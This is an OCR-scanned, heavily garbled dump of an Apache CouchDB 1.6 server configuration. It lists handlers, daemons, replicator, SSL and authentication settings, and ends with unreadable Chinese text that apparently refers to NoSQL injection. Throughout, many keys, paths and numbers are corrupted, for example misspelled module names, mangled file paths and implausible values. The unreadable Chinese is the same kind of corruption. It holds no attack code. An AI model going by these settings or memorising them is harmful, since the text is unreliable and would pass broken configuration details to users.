{"httpd design handlers":{"_compact":"{couch_mrview http, handle compact req}"," info":"{couch mrview http, handle info reg}"," list":"{couch mrview show,
handle view list req}",” rewrite":"{couch_httpd_rewrite, handle rewrite req}"," show":"{couch_mrview show, handle doc_show req}",* update":"{couch mruiew_sht
handle doc update req}”," view™:"{couch mrview http, handle view req}"}, "wuids™:{"algorithm": "sequential®, "max_counl"”:"1868"}, "stats":
{"rate”:"1080","samples":"[0, 60, 300, 980]"},"cors":{"credentials":"false"},"httpd_global_handlers”:{"/":"{couch_httpd_misc_handlers, handle welcome_req,
<<\ "Welcome\">>}","_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}","_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}","_confi
{couch_httpd_misc_handlers, handle_config_req}",”_db_updates®:"{couch_dbupdates_httpd, handle_req}","_log":"{couch_httpd misc_handlers,

handle log reg}”,” ocauth":"{couch httpd cauth, handle cauth req}~,” plugins":"{couch plugins httpd, handle reg}",” lepluale":“{nuuch replicator httpd,
handle_req}"."_restart”:"{couch_httpd misc_handlers, handle_ restart_req}",”_session":*{couch_httpd_auth, handle_session_reg}", " stats":"
{couch_httpd_stats_handlers, handle_stats_req)}"," utils":"{couch_httpd_misc_handlers, handle_utils dir_reg, \"/usr/local/share/couchdb/ww\")",* uuids®:"
{couch_httpd_misc_handlers, handle uuids_req}",*favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"fusr/loral{shareiceu(bewH\"}"} "attachment
{"compressible types™:"text/*, application/javascript, application/json, application/xml”,"compression level”:"8"},"query server config":
{"os_process_limit":*25", "reduce limit":"true"},"vendor":{"name":"The Apache Software Foundation®,"version®:"1.6.8"},"replicator":
{"connection_timeout”:"308680","db":"_replicator®,"http_connections®:"28","max_replication_retry count":"18","retries_per_ request":"18", "socket options®:"
[{keepalive, true}, {nodelay,

false}]”,"ssl _certificate max_depth":=3","verify ssl certificates":"false
{'use_users_do":"false"},"ssl":{"po "6984","ssl_certificate max_depth":"1","verify ssl_certificates":"false"},"log":{"file":"/dev

Joull®, "include_sasl®:"true”,"level”:*info"}, "view_compaction®:{"keyvalue_buffer_size®:"2097152"},"query_servers*:{"coffeescript":"/usr/local/bin/couchjs
Jusrjlocal/share/couchdb/server/main-coffee, js", " javascript™:"fusr/localsbin/couchjs susr/local/share/couchdb/server/main. js"}, "daemons " : {"auth_cache":”
{couch_auth_cache, start_link, [1}*,"compaction_daemon*:"{couch_compaction_daemon, start_link, [I}",“external_manager":*{couch_external_manager, start_link,
(13", "httpd":"{couch_httpd, start_link, [1}","index_server®:"{couch_index_server, start_link, [1]","os_daemons":"*{couch_os_daemons, start_link,
[1}","query_servers":"{couch_query servers, start_hnkl |]}"."reph(ator_manager':"{couch_replicator_manager, start_link, []}","stats_aggregator”:"
{couch_stats_aggregator, start, []}",”stats collector”:"{couch stats collector, start, []}","uwuids™:"{couch wuids, start, [1}=,"vhosts":"{couch_httpd vhost,
start_link, [1}"},"httpd”:{"allow_jsonmp":*false", "authenucauor handlers"“(cuuch httpd_ oauth oauth_authentication handlerl {couch_httpd auth,

cookie authentication _handler]}, {[couch_httpd auth, default authentication handler}","bind address":"0.0.0.0","default_handler®:"{couch httpd db,

handle request}”, "enable cors’:"false”, 'lugimaxi(hnnkisue"'leeBﬁEﬂ“ "port”:"5984", "secure rewrites":"true", "socket options":"[{recbuf, 2621“}, {sndbuf,
262144}]", "vhost_global_handlers":" utils, wuids, session, oauth, _users”},"httpd db handlers”:{" all ducs“ "{couch_mrview http,

handle all_docs req}*,* changes®:*{couch httpd db, handle changes_ req}' "_compact®:"{couch_httpd db, handle compact_req}"," design":"{couch_httpd_db,
handle_design_req}*,” temp_view":"{couch mrview http, handle_temp view req}"," view cleanup":*{couch_mrview http, handle cleanup_req}"},"database_compaction'
{"checkpoint_after":"5242880","doc_buffer_size":"524288"}, "couch_httpd_auth"
{*allow_persistent_cookies":"false","auth_cache size":*50","authentication db":* users",“authentication redirect*:"/ utils

fsess{on.'ntmL"."u:erati.uns *1"10","require_valid_user”:“false","timeout":"600"},"couchdb":{"attachment_stream buffer_size":"4096","database dir":"/usr/local
Jvar/flib

Jeoouchdb®, "delayed commits”:"true”,"file compression”:"snappy”,"max dbs open”:"198", "max document size":"4294967296","0s process timeout™:"5000","plugin dir'

", "worker_batch_size":*58@","worker_processes":"4"},"couch_httpd oauth":

$Yﬁ%ﬁ%TMﬁM&A%%%,i%ﬁ%%Mnm%ﬁﬁﬁ&A
s B E M, W R AR, H R M H A S R SR
JE A ST

AN RSQLIENIE &ENosql N, I 7= A 5 AR /& R 6k F P BN 10
HOPs 3 AT I JE B JE AN ™, BEARANoSQL R HI SQLiE A, {H Al AR 8
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